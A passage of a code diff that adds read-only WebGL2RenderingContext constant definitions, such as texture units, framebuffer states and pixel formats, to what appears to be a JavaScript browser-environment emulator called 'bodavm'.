+}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5126 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 10497 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + configurable: false, + enumerable: true, + writable: false, + value: 34338 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34339 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 3074 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3314 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3315 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3316 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3330 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3331 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3332 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 6144 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", { + configurable: false, + enumerable: true, + writable: false, + value: 6145 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 6146 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", { + configurable: false, + enumerable: true, + writable: false, + value: 6403 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 32849 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", { + configurable: false, + enumerable: true, + writable: false, + value: 32856 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", { + configurable: false, + enumerable: true, + writable: false, + value: 32857 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', 